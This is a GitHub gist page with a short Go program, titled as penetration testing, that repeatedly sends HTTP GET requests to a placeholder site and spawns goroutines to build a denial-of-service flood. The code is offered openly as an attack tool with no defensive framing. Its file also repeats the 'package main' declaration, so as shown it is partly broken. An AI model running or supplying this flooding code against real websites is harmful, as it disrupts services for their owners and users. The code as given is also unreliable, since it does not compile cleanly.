Skip to content

Instantly share code, notes, and snippets.

@ivanmrchk
Created September 23, 2019 14:54
Show Gist options
  • Save ivanmrchk/949b12d1405ea44391191afce266798f to your computer and use it in GitHub Desktop.
Save ivanmrchk/949b12d1405ea44391191afce266798f to your computer and use it in GitHub Desktop.
Penetration testing with golang (dos attack)
package main
import (
"fmt"
"net/http"
)
func Dos(Target string) {
var Count int = 0
var ReqCount int = 10
for {
Count++
Response, err := http.Get(Target)
fmt.Println(Count, Target)
if err != nil {
fmt.Println(err)
break
}
fmt.Println(Response.StatusCode)
Response.Body.Close()
if Count < ReqCount {
go Dos(Target)
} else {
break
}
}
}
package main
func main() {
Dos("https://website.com")
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment